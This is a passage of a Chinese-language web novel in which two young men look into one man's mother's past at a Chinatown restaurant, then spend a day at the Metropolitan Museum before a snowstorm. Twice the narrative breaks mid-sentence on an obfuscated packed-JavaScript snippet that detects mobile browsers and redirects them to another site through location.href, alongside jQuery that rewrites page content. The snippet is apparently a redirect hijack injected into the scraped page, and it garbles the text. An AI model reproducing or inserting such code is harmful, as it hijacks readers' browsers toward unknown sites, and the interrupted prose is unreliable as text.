“她只在这儿工作了一年多。”Ming说道,“她2004年就遇见了我的继父,很快就跟他结婚了,怎么可能还有人记得十二年前短暂地在这打过一段时间黑工的女人?唐人街里像她那样的人多了去了,指不定她连真名都没有留下。” “那就算没人记得她,我们也可以来这儿吃顿饭,不是吗?”艾登说。他看得出来Ming眼里的渴望,林则徐的故事这一刻已经被他抛到了九霄云外,取而代之的是真正与他有血脉连接着的过去,“我们走了一下午,我的肚子早就饿坏了。” 他原本是打算带Ming去摆也街上的一间上海餐馆吃饭的,但无奈计划赶不上变化。 “谁知道这家餐厅的东西好不好吃,”Ming仍然推脱着,他不说话的时候,嘴巴会孩子气地抿起来,就像哭着闹着要吃糖的小朋友吵了太久,等父母真正妥协的时候,又开始生闷气了。他既想知道他的母亲的过去,又似乎像在和母亲玩一个谁先在乎谁就输了的游戏,打定主意绝对不会主动去打听任何与她有关的事情,同时又为自己忍不住想要这么做而恼怒,“我们还是去找一个口碑更好的餐厅吧。” “但我真的好饿,”艾登好声好气地哄着,“我一步都走不动了。” “刚才我可没听见你抱怨。” “那是因为我听你说故事听得入迷了,”艾登耸了耸肩,“这会我回过神来,才知道我有多饿——我们就在这儿吃饭吧,好不好?我实在懒得去找别的中餐馆了。” 他们两个无声地僵持了一会,“那好吧,”Ming不情愿地说道,“要是我们吃坏了肚子,那全都怪你。” 实际上,第二天早上醒来再回想昨晚吃的那一餐饭,即便是被奶奶的手艺养大的艾登也必须承认,海鲜东来饭店的食物非常美味,而且非常新鲜——要艾登说的话,也太新鲜了一点。 当时,一进门,他就瞧见面前有大大小小的数十个鱼缸,里面全是各式各样,尺寸不一的鱼,不少艾登闻所未闻的种类,其中有许多甚至连英文名都没有,潦草随便地写了几个中文,似乎笃定根本没有外国人会去点那些一看就长得奇形怪状的鱼。在鱼缸的面前,又一字铺开好几行冰块的白色泡沫大箱,琳琅满目地陈列着龙虾,蚯蚓,黄鳝,扇贝,鱿鱼,生蚝,不同种类的蛤,螺,虾,蟹,海参,海胆,七八个中国人聚集在这儿,对海鲜挑挑拣拣,其中有一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041256|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指了指一条巨大的鲫鱼,用粤语唤服务员帮他捞起来,艾登随即便瞧见一个穿着黑色胶鞋,戴着一双黄色手套,拿着网兜的年轻人走了过来,他熟练地隔开了鱼群,抓到了客人指定要的那一个,接着便毫不留情地将鱼直接摔在地上,顺手捡起旁边的木棍,又狠狠敲了几下,鱼顿时便昏了过去。 有个本身就是大厨的奶奶,艾登从来没去过纽约的任何中餐厅,更别说见过这种仗势了。他目瞪口呆地看着那年纪比自己小得多的男孩把鱼从地上拎起来,捡起放在一旁的秤——或者说他认为是秤的东西,那玩意看上去似乎就是由一根杆子和两根绳子组成的,他用秤上的钩子勾住鱼头,另一只手随意移了移杆子上的绳子,艾登尚未看清楚他在干嘛,就已经听见他大声地报出了这条鱼的重量,把它换到另一根钩子上,递给了客人一个号码牌,便拎着它往厨房去了。 艾登还没回过神来,就看见Ming已经站在排队挑选海鲜的客人队列中,“你想吃什么?”他也目睹了刚才那一幕,但他的神色平静得仿佛现场杀鱼是一件再自然不过的事情,“鱼?虾?蟹?还是?” “呃……”艾登紧张地咽了咽口水,虽然华人超市里也有活鱼,但他从来没见过它们直接被现杀的情形,一直都是直接购买已经杀好了铺在冰上的成品。他瞧了一眼从Ming脚边蜿蜒流走,被冲进下水道里的血水,装作随意地摊了摊手,“你决定吧,”他说,“我先去给我们找个位置。” 在用餐处入口迎接艾登的是个笑容甜美的女孩,但等他落座以后,前来服务他的却是个年纪颇大,手脚异常麻利的女侍应生,她在眨眼间,就端上了一壶壶嘴还在袅袅冒着热气的茶,还有一个巨大的不锈钢盆(艾登完全不明白那是用来做什么的),顺手从自己的口袋里拿出了一个小本子和一支圆珠笔,并且一口气不带喘地迅速用粤语发问了:“挑选了海鲜没有?号码牌拿了没有?清蒸红烧煎炒裹炸,要怎么做?还要点什么菜?饮料要喝吗?” 她大概以为艾登是这儿的熟客,一脸不耐烦地敲着手中的笔,等着他给出一个答案。 “呃,”艾登尴尬地笑了笑,“我的朋友还在挑选海鲜,”他说道,感觉自己一开口说英文,气势就陡然在唐人街矮了一截,仿佛所有人都能立刻发现他根本不属于这儿,是个靠着中国人的脸偷偷溜进来的外来者,而且随时有被人欺负的风险,“我想等他来了再点。” 他这下大概知道中国人去美国人开的餐馆里吃饭却又不会说英文时是什么感受了,那个女侍应生不甚明显地翻了个白眼,迅速收起了本子和笔,转身就要离开。 “等等,”艾登慌忙叫住了她,“那个,请问你叫什么名字?” 那个女侍应生蹙着眉头看着他,用非常不标准的英语磕磕巴巴地说道,“先生,我们很忙的,如果你没别的事——” “我听得懂粤语,你可以跟我说粤语,”艾登说,“我只是想问问,你在这儿工作多久了?我以前认识一个在这里工作的人,也许你还记得她。” 那个女侍应生露出了恍然大悟的表情,艾登这才回过神来,她肯定把自己当成那种来唐人街寻亲的华裔了——虽然某种程度上来说确实没错。 “我真的很忙,先生,没有时间应付这种事情。这样,如果你想找以前在这里工作过的人,我会找我的经理过来跟你说,他在这里工作了五十多年,每个员工他都记得,行吗?” “谢谢你。” “你一会要点菜再叫我。”那个女侍应生稍微缓和的神色又立刻绷紧,干净利落地丢下一句话,又迅速去服务下一桌客人了。她刚走,Ming就在位置上坐下了。 “我点了几只螃蟹,生蚝,虎虾,还有一条鲈鱼,”他说,神色仍然有些不自然地打量着四周,却又竭力装出一副若无其事的样子,“我觉得差不多够了,你还想点些什么吗?” 艾登把点菜的权力全交给了Ming,他看了会菜单以后,决定再点一个汤,一个青菜——那个女侍应生对Ming的态度就好多了,大约因为Ming用粤语点菜的架势非常熟练,不需要对方询问就已经一一决定好每个海鲜要怎么做,她只管一边嗯嗯地答应着,一边笔速飞快地记录着。不过,艾登确实注意到她非常谨慎地打量了Ming两眼——就像走在大街上突然瞧见一个熟人,却又不确定对方到底是不是时的那种打量。 “经理要下班了以后才能跟你们谈,他八点钟下班,你们愿意等到那个时候吗?”记完了菜,她又转向了艾登,问道。 Ming闻言立刻皱起了眉头。 “我们愿意等到那个时候。”艾登说,他看了一眼手机,现在快七点了,时间刚刚好,他们吃完估计也就差不多八点,刚好能和对方谈谈。 80. Chapter·Twenty-Seventy “你还在想昨晚那个女侍应生说的话吗?” 艾登一边刮着胡子,一边斜眼望着若有所思地靠在洗手间门口的Ming,问道。 Ming还没换上外出的衣服,他穿的是艾登给他买的那一套纯棉的睡衣,白色的柔软布料上有着细长绵密排列的条纹,松松地罩在他身上,温柔得像个冬天暖和的拥抱。酒店里的暖气开得很足,他赤脚踩在木地板上,从收紧裤腿里伸出的苍白肌肤上浮着淡淡的几根青色血管,修剪干净的脚趾蜷缩着,艾登目不转睛地盯着那一亩三分肌肤,剃须刀已经在光滑的脸皮上走了七八个来回。 “我没有,”他闻言扭开了头,假装在回望放着早间天气预报的电视机,隐隐约约的女声传来,说纽约今天可能将会迎来一场暴风雪,“我在想疏眠今天能不能过来。” 黎疏眠直到艾登和Ming都回到酒店以后,才给他们发来了信息,说由于此时是圣诞假期,各个租车行里的车都被订完了,她只得请朋友把自己送回去,明天一大早她会买火车票前来纽约,之后搭乘艾登的车回去。 如果说黎疏眠打电话来告知自己的车抛锚时艾登还没明白她的把戏的话,瞧见这条短信时也回过味了,从约州来纽约的火车票哪怕是在平时,提前一天买也很难买到,更别说这会是圣诞假期,火车票恐怕在一个月前就售罄了。不过,真正令他开心的不是黎疏眠百般找借口拖延着不来打扰他与Ming的出游,而是她的行为背后的意味——显然她对Ming没有产生什么暧昧的好感,也不打算回应他的感情。这一点让他喜滋滋了半天,哪怕此刻Ming又提起了她的名字也没能使他的心情褪色。 “我相信她很快就能到,”艾登随口应付着,心里相信黎疏眠恐怕从一开始就没出过门,“她是个大姑娘了,我们不用替她操心。她说上了火车以后会给我们打电话,到那时,我们从大都会博物馆动身去火车站接她也不迟。” “嗯。”Ming心不在焉地应了一声,头也没回,越发说明其实他心思根本不在黎疏眠身上,恐怕正如艾登预料的那般,仍然在回想昨晚女适应生说的话。 他们吃完饭正好八点多,那个手脚非常麻利,做事雷厉风行的女侍应生把他们带到了后厨的经理室,这儿的每件东西都黏糊糊的,从门把手到用百叶窗遮挡的玻璃,从油漆剥落的办公桌到勉强能塞进这间小房间的折叠椅,似乎都被几十年来的大火旺炒与响亮吆喝抹上了一层无论如何也洗不掉的油污。 路过后厨时艾登注意到这儿的后厨还很落后,有十几二十个人挤在狭小而且闷热无比的厨房里一起工作,许多地方明显不符合纽约市对餐饮卫生作出的规定,甚至可能都不符合纽约市对餐饮场所消防举措的规定。但从这间餐厅能好好地在唐人街屹立几十年不倒的事实来看,证明它应该受到了某些势力的庇护。 经理是个典型广东人长相,看起来约莫有六十岁的矮个子男人,他的头发几乎全都掉光了,眼睛被上下堆叠的褶子挤得几乎看不见,肉乎乎的鼻头显得他的面相很喜庆。他只上下打量了艾登与Ming一眼,似乎就已经对他们做出了一个清晰准确的判断,脸上立刻涌起了讨好的精明笑容。 “哎呀,两位帅哥,欢迎你们光临海鲜东来餐馆,我是这儿的经理,你们叫我陈生就好。怎么样?吃得还好吗?还满意吗?满意的话下次可以带亲朋还有过来我们这里聚餐啊,我们这儿的酒席特别划算,你们去勿街上打听一下就知道了,哪里的价钱都比不上我们这里,而且我们的海鲜是最新鲜的,我向你保证这一点。” 艾登寻思着他要是把维尔兰德家的其他亲戚带到这儿,光是看到活鱼现杀那一幕估计就能把他们吓得花容失色,当场呕吐,随即给动物保护组织举报的举报,向有关部门投诉的投诉,该把艾登臭骂一顿的臭骂一顿,那场景只是想想就能让艾登厌恶得起一身鸡皮疙瘩,“我会考虑的,”他微笑着说道,“晚餐的确很美味,请替我谢谢你的大厨及其他后厨员工。” “小事一桩小事一桩,让客人满意是我最大的需求——这么说来,我听说,你们想跟我打听一个曾经在这儿工作过的人?”陈生倒也毫不含糊地就切入主题了。 艾登偷眼看了看Ming,他虽说之前因为自己擅自向餐馆员工打听他母亲的事有点闹别扭,不过这会却没有在脸上表现出来,“我想知道你还记不记得十二年前在这里工作过一段时间的中国女性,她姓云,那时候刚刚从中国偷渡过来,后来嫁给了一个白人,就离开了这儿。” “而这位云女士是你的……?”陈生挑起了一边稀疏的眉毛,他的保温杯里泡着一壶非常浓的茶,茶叶都快淹没了整个玻璃壁,他时不时就要抿上一口,完了还会咂咂嘴巴。 “是我的姨妈。”Ming犹豫了两秒——这两秒也足够对面坐着的这个人精瞧出来他是在撒谎了,艾登在心里叹了一口气,刚想说点什么补救一下,就瞧见陈生和和气气地笑了。 “我觉得你可能误会了什么,这位——”“我同样也姓陈,与你同家。”Ming立刻回应,这句话他倒是说得顺溜,让人找不出一点毛病。“与我同家,真巧真巧,看来是缘分,”陈生仍然是一脸和气,笑容可掬,“不过,陈先生,你的确误会了,我们这儿是不会招收没有身份的工人的——也许别的餐馆会这么做,但我们肯定不会,不信你可以去查一查——” “不,我不是这个意思,”Ming慌忙说道,“你误会了,我和他都不是警察,也不是移民局的人,我们不是来这里卧底侦查的,只是想打听一下我——我姨妈的事情——” “陈先生,我当然知道你们两个不是警察,也不是移民局的人,”经理恭恭敬敬地说道,“我也理解你想要打听与姨妈有关的消息的心情。但是呢,就像我说的,我们这里确实不会招收没有身份的工人,而且据我所知,我们也没有招过姓云的女性员工——这个姓氏很少见啊,如果有的话,我肯定会记得的。很抱歉让你失望了,陈先生,但我们真的没有——” “她有可能使用了一个假名,所以你才不记得她了,”Ming先前在饭桌上还在隐隐地生闷气(虽然说艾登觉得那模样可爱极了),这会却罕见地据理力争了起来,“她曾经在这儿拍了一张照片,旁边的建筑物都能对上,我不会认错的——” “陈先生,”经理心平气和地打断了他的话,笑容祥和得可以直接被雕刻成一尊弥勒佛,“那张照片,在我看来,只能证明你的姨妈曾经来过我们这儿,不能证明什么别的。从你的描述来看,你的姨妈当时没有合法身份,那她断然是不可能在这儿工作的,我能理解你失望的心情,陈先生,我很抱歉,也许你可以去周围打听一下,可能她是在附近的某家餐馆里打工也说不准呢。” Ming一言不发地站起来,甚至连道谢或再见也没有说一句,就直接离开了经理室。艾登匆匆丢下一句“Thank you for your time”,便赶忙追了上去,他在楼梯那儿截住了Ming,发觉他的脸色铁青,眉头深深地皱着。艾登愧疚得不知道该说什么,他从见到那个经理开始就觉得大事不妙,对方一看就是一个老谋深算的狠角色,绝对不会跟两个年轻人承认这家餐馆雇佣黑工,当然也就不可能承认他见过Ming的母亲——更别说从一开始他就瞧出Ming在撒谎,更不可能泄露半句了。 “你还好吗?”艾登轻声问,他想揽着Ming的肩膀,手伸到一半又尴尬地垂下了。你在想什么?他在脑袋里怒骂着自己。这是你的好朋友,不是你的约会对象,怎么能有一把将对方搂进自己怀里的想法? “我只是——” Ming话说了半截又说不下去了,几个西装革履的中国人高声谈笑着从他们身边经过,带来一阵浓烈的烟臭,他们两个都屏住了呼吸。直到重新回到了车水马龙,热闹非凡的大街上,Ming才开口说完了后半句话。 “——只是没想过我的母亲以前可能受了多少苦。” 艾登刚想说什么,就听见了一道尖利的嗓音在他们身后响起,“先生,先生你漏了这个——” 之前为他们这一桌服务的那个女侍应生气喘吁吁地跑下楼来,将半盒烟塞进了艾登的手里,后者刚想退回去,说这不是他的,就听见那女侍应生冲Ming开口了,“你想打听的那个人,真的是你的姨妈吗?” 看来她偷听了经理和他们的对话。 “不是,她是我的母亲。”Ming这会开窍了,回答得很快。 “她叫什么名字?” “云美华。” “她会说粤语吗?” “她会,但是有很重的外地口音。” 那女侍应生点了点头,看来是确认了Ming的确没有撒谎,“我十一点半下班,”她说,“烟盒里有我的电话,你们找个远点的茶餐厅等我。” Ming那时候猜到了他会从对方口里听到什么吗?艾登思忖着。 大概没有,否则他可能会选择直接离开。 “该去换衣服了,”总算刮完胡子的他温柔地提醒了Ming一句。从Ming今天早上叫醒自己的时间来看,他有理由怀疑Ming可能彻夜未眠,不过,话又说回来,他自己也因为把大部分时间花费在仔细聆听Ming的动静上,一点儿都没睡好,“每个人都说大都会博物馆花上一天的时间都看不完——更别说我们中途还得出去接疏眠——早点动身,我们就能赶在它刚开馆的时候就进去参观,多看几个展馆。” 大概是想到马上就能去大都会博物馆参观,Ming的神色明朗了不少,他低低地应了一声,转身折回房间里——哪怕就是在昨晚那样心事重重,神思恍惚的状态下,他都不忘把他今天要穿的衣服拿出来挂在大衣架子上。背对着走廊,他正要把睡衣脱掉——艾登悄无声息地走到了洗手间门边,借着电视的声音掩盖自己突然变得急促的呼吸声,静静地注视着眼前的一幕。 两个男人,他有的Ming也有,Ming没有的他也没有,看看又何妨?艾登心想着,然而他却滑稽地感觉自己正在偷看一个女孩换衣服——在人类最原始,也最蠢蠢欲动的偷窥欲得到满足的同时,又有一种正在悄悄偷吃禁果般的刺激。这不就是普通的男性身材吗?艾登在心里嘲笑着自己,有什么好看的?不就是……不就是…… 不就是从纯棉睡衣下慢慢滑出的紧实腰身,略微从肌肤下突起的脊椎,稍微能瞧见一点点拉起的肌肉,只是太瘦。 不就是从纯棉睡裤里缓缓挺出的修长大腿,覆盖着一层些微的汗毛,线条平直顺滑,不必担心用力掐上去会伤到对方,相反却能深深扣紧结实的的肌肉,手感更好。 不就是被包裹在黑色棉质面料里的浑圆—— 艾登突然回过神来,意识到自己在盯着看些什么。他一直都是一个非常绅士的男性,虽说他二十七任前女友当中有不少都身材火辣,而且无惧于向全世界展现她们傲人的曲线。但他从来没有用这种仿佛狗熊在打量一颗硕大滴蜜的蜂巢般的眼神,打量过她们当中的任何一个。自己这是怎么了?他强迫自己把眼神转开——这倒是不难,因为Ming已经换好了裤子——难道是他太久没交女朋友了,任何一个半倮的屁股都能让他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041257|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心漏跳一拍? 这个古怪而且令艾登不安的想法一直到他们走下出租车,站在了大都会博物馆前,才真正被驱散——天空在博物馆后方凝聚了一层铅灰色的怒容,让整座大理石建筑看起来仿佛是在惊涛中耸立的磐石,又恍如分隔瑰宝与昏夜间的长城,那一根根气势磅礴的圆柱撑起了从远古至今一座座倒塌在战火与天灾中的墩墙,守护着从后抢出的无数艺术珍品。Ming站在建筑外看了好一会,又拍了不少照片,这才跟艾登一起站在了排队进馆接受安检的队伍里。 “我们应该先看哪个展馆?”他非常兴奋地问道,看来这次参观同样也暂时驱散了他心上的阴霾,姑且用艺术的高歌掩住了他的耳鼻眼喉,昨夜的种种情形被他丢在了博物馆的台阶下,但艾登很肯定他们离开博物馆时Ming又会将其捡起来,“你比较有经验,艾登,你来决定。” “我们可以先看看希腊和罗马艺术展厅,”艾登说,他倒是想一开始就带Ming去看大都会博物馆最为出名的埃及展馆,但演戏要演全套,在黎疏眠下一条借口抵达以前,他都得假装自己做好了随时离开博物馆的准备——而埃及展馆怎么着也要花上两三个小时,“等我们和疏眠汇合以后,就可以一块去看埃及展馆了。” “听上去不错。”Ming语气轻快地说道。 博物馆此时才刚刚开门,排队的人寥寥无几,他们很快就通过了安检,由于他们是约州的学生,博物馆只会象征地收一点“建议捐赠款”。不过,出于对大都会博物馆的热爱,艾登直接递给了对方两百美金,换回了两张票和两张贴纸,他转身去找Ming,想把贴纸给他贴上,就瞧见他站在入口大厅展示的那尊阿蒙涅姆赫特二世的青铜雕像前,如痴如醉地望着,从各个角度拍着不同的照片。 “您想知道这尊雕像的历史吗,云先生?” 艾登蹑手蹑脚地走到他身后,一本正经地问道。 Ming起初吓了一跳,估计真的以为是博物馆里的解说员来揽生意了,“不,不需——”话在他嘴里说了一半,就止住了,Ming一转头看见自己,便立刻明白了这个笑话,也装出了一副严肃的模样,“那当然,”他也换成了英语,装出了一副趾高气扬的样子,“我付你一个小时五百美金可就是为了这个。” “咳咳,”艾登清了清嗓子,大厅里集中了不少游客,已经有好几个人听见了Ming那句“一个小时五百美金”的话,转过头来震惊地看着他,“这尊雕像约莫是公元前1919年至1885年左右制作的,它重达19845磅,换成您更熟悉的重量单位,就是足足九吨,当初把它运到大厅这儿,并使它能够直立起来,就用了两台吊车。它原本属于柏林埃及博物馆——著名的纳芙蒂蒂胸像就是柏林埃及博物馆的象征性馆藏——在2011年被出借至大都会博物馆,将会一直在这儿展览十年。” 他用的是非常标准的广播腔调,周围有不少游客都好奇地围了过来,上下打量着他。艾登还听见人群里有个年轻的女孩跟她的同伴窃窃私语,问什么样的解说员要五百美金一小时,是不是艺术学院里的男模特出来兼职了?差点让他笑出声来。好在他及时维持住了表情的严肃,又继续说了下去,简要地介绍了一番阿蒙涅姆赫特二世的身世,包括这尊雕像后来是如何不幸地被拉美西斯二世篡夺,甚至为此修改了面部结构以后,他又转向了艺术点评。 “正如您所看到的那样,这座雕像的双臂非常僵硬地紧贴着躯干,双腿则以一个正常人绝对无法做到的姿势,扁平且呈九十度水平紧挨着底下的青铜座椅——这并非是因为古埃及的艺术家不懂得人体构造,或者是透视,或者是一些基本的人体雕塑技巧,实际上,古埃及艺术家是这方面的大师,后来希腊及罗马的艺术家正是从他们的手中继承了这一点。” 艾登眉飞色舞地说着,用手虚指着这比他足足高出差不多一倍的雕像上游客难以注意到的细节。 “他们故意将雕塑塑造成这种古怪的模样,是因为当时人们就是如此看待古埃及的皇室成员的——理想,完美,高大,每一寸的肌肤和每一寸的肌肉都是当时公认最出色的比例和形态,充满了神性,”他忍不住瞥了一眼Ming,他的腰,腿,还有——“通常被选中为国王工作的工匠都会预设好一个雕塑的模式,往后所有的工匠都会遵守那个模式为皇室成员制作雕像。由于这些雕像在当时的用途并非是作为艺术品展示,而往往是在神庙中展示,所以所有的雕像都是面朝前方,双眼直视或微微俯视。他们统治上下埃及的正统性通常都由雕刻在王座侧面的符号所表现。” 他这番深入浅出的解说讲完,周围环绕着的二十多个美国人都似懂非懂地点了点头,还有人轻轻地鼓了鼓掌。艾登优雅地向大家鞠了一躬,“很抱歉,”他说道,“我也想继续跟你们讲解其他的艺术展品,但我只能为这位先生工作——接下来的一整天里我都属于他。很高兴为你们讲解阿蒙涅姆赫特二世雕像的历史,再见!” 说完,他便憋着笑,跟在Ming身后离开了,他们一路绷着脸走到希腊与古罗马展馆的门口,才吃吃地笑弯了腰。“你再走慢一点,”Ming说,“我看就该有人过来找你要名片,以后指定你的解说服务了。” “至少这证明了要是我哪天花光了自己的信托基金,还是能找到一份报酬非常不错的工作的。”艾登说,“还好我还记得上次来玩的时候听到的解说,”实际上是来博物馆以前他临时大量恶补的艺术史知识,不为别的,就是为了能充当Ming的私人解说员,“不然要是在那胡诌一通,被人揭穿了那可就尴尬了。” 81. Chapter·Twenty-Eight 艾登和Ming是最后一批离开大都会博物馆的游客。 他们走出大门时,已经是晚上九点多了。 身边寥寥几名同样留到最后的游客都直接搭乘电梯前往地下停车场,只有艾登和Ming站在博物馆的大门前,他们两个都穿着黑色的大衣,竖着领子,因为寒冷而将双手塞在口袋里,大概是因为在博物馆里待了一整天,没喝水也没吃饭,看着十分疲累的Ming遥望纽约街道时竟然多了几分罕见的桀骜不驯,让艾登恍惚觉得他们两个似艾伦·金斯伯格与卢西安·卡尔,他们还在哥伦比亚大学共同念书的时候,偶尔也会去大都会博物馆消磨上一整天的时光。 从人行道向上看去,纽约的天空永远都不是黑暗的,无数的投射向上方的聚光灯,如同繁星般点点的航标障碍灯,快速闪动滚放的广告牌,闪闪发光的招牌,川流不息的车灯,将原本早该入夜的星空映成了淡淡的紫色。光秃而奋力向上伸去的枝干犹如附在夜空上的毛细血管,交辉相映的霓虹灯在睫毛上吹出七彩的光晕。地面很湿,艾登和Ming两个人小心翼翼地抓着滑溜溜地栏杆走下台阶,一滴冰凉突然落在他的鼻尖上,艾登愕然抬头去看,才发现天空簌簌地落着细小的,如同雪花球里一摇即起的白色颗粒般的雪花。 “下雪了,Ming。”他轻呼道,“今年冬天的第一场雪。” “好冷。”Ming缩了缩脖子,孩子气地抽了一下鼻子,把几颗雪从脸上抹去,“我们赶紧回酒店吧——希望餐厅还开着。” “不要紧,”艾登说,街道上到处都是紧紧地相互搀扶着的情侣,家人,步履艰难地在湿滑的纽约人行道上穿行着,让他莫名其妙地多了一点底气,伸手扶住了Ming的胳膊,“就算酒店的餐厅关门了,我们也可以叫工作人员帮我们点披萨或汉堡——纽约市的好处就在于此,这种天气下要给的小费是天价,可是只要出得起,就总有人会愿意干。” 然而,他们根本打不到的士,每一辆飞驰而过的黄色轿车都显示“载客”,而手机上的优步则显示在这样的天气下叫一辆车需要等待足足一个多小时,“那只能这样了,”艾登耸了耸肩,他们只在马路上待了20分钟,原本细小的雪粒就已经化为了蒲公英绒般的飞雪,夹着一点冰冷的雨滴,地上开始积起一层薄薄的淡雪,天气变恶劣的速度让艾登觉得有些不安,他想起了今天早上天气预报里的暴风雪警告,“我们只能去搭地铁了。” 他拉起了云决明的手——这个动作在雨夹雪的寒冷天气中仿佛再自然不过,不会使人联想到任何旖旎的情感或是不恰当的关系,仿佛只是两个相互取暖,相互偎依的小兽——他们快步穿过一个又一个低着头急匆匆赶路的纽约人,没人多打量一眼他们,艾登手心里的手指冰冷,僵硬,Ming试图抽了几次,都被他用力地捉住了,艾登不想放手。 “别走散了,”Ming第四次想要将手抽回去时,艾登才回头不满地嘱咐了一句,纽约夜永不落幕,此时街道上仍然人头攒动,“下雪的时候手机容易没信号。” “我们都是成年人了,”Ming抗议地说道,虽说他汗津津的脸说明他一点也不适应纽约街头繁忙的人群,“就算我跟你走散了,我也知道该怎么回去酒店。” “成年人会在博物馆逛得忘记吃饭了吗?”艾登把他拉得离自己更近了一点。Ming自从进了博物馆以后就挪不开眼睛了,站在每件展品前津津有味地听着艾登的解说,简直就像是现场在上一节艺术史课一样。艾登又不是专业的,哪能在没有小抄的前提下做到每幅画每个画家都说得头头是道?还好之后来了一个欧洲旅游团,为首的导游一直在用西班牙语飞快地介绍着博物馆里的各类展品,艾登一心二用,现学现卖,倒也像模像样。实在想不起来又没能偷听到的,他就借口要上厕所,躲在隔间里用手机查找。 与现代艺术博物馆不同,Ming对具有厚重历史背景的文物的兴趣比抽象的,含义不明的当代画作要大得多——“我以为我完全对历史和艺术不感兴趣,”当他跟在艾登的身后,穿行在原样从埃及搬运来美国的丹铎神庙中时,轻声说道,“至少我以前看书的时候,对那些枯燥的文字描述,还有一张张死板的照片完全不感兴趣。不过,也许是因为可以亲眼瞧见这些古老的遗迹……那种震撼,我觉得我可以在这儿待上一整天,就瞧着这些迷人的展品,想象着几千年前的人们是怎么无中生有地创造出这些伟大的艺术的。” “丹铎神庙距今有2025年的历史,”艾登补充说明道,“相当于一座建立于西汉时期的宫殿完好无损地保留到了今天,这是一件非常难得的事。” “这算什么,以后有机会,我带你回国去看兵马俑,”Ming骄傲地翘起了嘴角,“兵马俑的历史比丹铎神庙长,而且规模也比丹铎神庙更大——我们还可以去西安博物馆,让你真正见识一下中国古代文物的美,绝对不输于这儿的任何一件展品。” “那云先生还想听听历史不那么悠久的丹铎神庙的故事吗?”艾登问道,冲他眨了眨眼。 “当然要听,五百美金这么昂贵的价格可不是白给的。” “是的,有这个价格,您让我当场在丹铎神庙跳脱衣舞都行。” “要是你这么做了,埃及的法老今晚恐怕就要来你梦里诅咒你了。” “或者,也有可能是女法老看上了我的肌肉,”艾登笑嘻嘻地说,“想给我她的联系方式,好死后再约。” “男法老也有可能啊。”这句话冲口而出,Ming刹那间脸涨成了鲜猪肝色。看上去,要不是那条环绕着丹铎神庙,象征尼罗河的人造河很浅,他现在就想跳下去淹死自己,“我的意思是说,男法老也有可能看上了你的肌肉,想让你死后给他们当保镖。”他结结巴巴地辩解道,艾登还没来得及说什么,他就转身随着那群欧洲旅游团,一起走进了丹铎神庙的内部参观去了。 从那以后,艾登心里就有了某种异样的感觉。 他们就像两个各自心怀鬼胎的陌生人,默契地结伴参观了整座博物馆,一个说,一个听,插科打诨相互调侃一如既往——然而,没有谁提起要出去吃饭,没有谁提起该买支水喝,甚至谁也没提起来应该前来与他们汇合的黎疏眠,仿佛只要能一直保持这个状态,在丹铎神庙前发生的那一幕就绝对不会再次被提起。 只除了艾登一整天都在反复揣摩着Ming的那句话。 他在暗示什么?他发现了什么?他想到了什么? 直到保安过来有礼貌地告诉他们还有十五分钟就要闭馆了,他才突然想起看看手机上的消息,发现黎疏眠中午就发了消息过来,说因为纽约和约州即将迎来一场非常罕见的大型暴风雪,所有的火车都被取消了,她过不来。 他一关上手机屏幕,就立刻把黎疏眠抛在了脑后,她的借口只在他脑海里存在了微不足道的五秒钟,他仍然在回味着那一刻,回味着那一刻Ming慌张而躲闪的眼神,回味着他短短那句话背后的意味—— 艾登知道Ming并不是gay,他喜欢黎疏眠到了一种无可救药的地步。 但男生之间不会随便开这种玩笑,即便开了这种玩笑也不会瞬间便窘迫得想要转身就走,做贼心虚,只能因为话里有一部分是真的。 “你也没提要出来吃饭的事,”Ming说道,为了避开斑马线上横冲直撞,想赶在绿灯结束以前穿过马路的行人而被迫紧紧贴着艾登,然而,饶是如此,他还是注意到了Ming刻意保持着的那一点若有若无的距离,就像他并不想碰到自己一般,“我以为你不饿……加上博物馆里确实有很多值得一看的展品……我都忘记了有肚子饿这回事了。” 这话刚说完,他的肚子就非常响亮地应和了一声。 “你想先在路边买个三明治垫垫肚子吗?”艾登指着街拐角的一家面包烘培店问道,“回到酒店以后,吃的可能要花上一个多小时才能送过来。” “也好。”Ming狼狈地用手挡着呼啸得越来越猛烈的寒风,大颗大颗的雪花粘在他的头发,眉毛,睫毛,衣领,还有袖口上。他忙着把湿漉漉的雪花从自己身上拂下去,没防备被一个带着兜帽不管不顾地向马路冲去的矮个子男人撞了个趔趄。艾登见状,也顾不得那么多了,不由分说地用大衣的一侧将瘦小的Ming一把裹进自己的臂弯,另一侧则拉高了领子,顶着几乎是黏腻地从天空往下抛洒的糖霜一般的厚重雪花向前走着。当他们两个踉踉跄跄地冲进面包烘培店时,里面正擦着桌子的女店员吓了一大跳,尖叫了一声,立刻举起了双手——大概是因为艾登和Ming都把围巾拉到了鼻子上面,免得被雪冻得直流鼻水的缘故。 “不不不——”艾登慌忙摆着手,“我们不是来抢劫的,只是想买两个三明治!” 店员半信半疑地瞪着他,橱窗外人来人往,有不少人都躲在商店的雨棚下躲避着大雪,但没有一个人走进这家店——艾登再定睛一看,才突然发现窗户那挂着的“营业中”牌子转了过来,“营业中”的那一面正朝里,很明显已经打烊了。 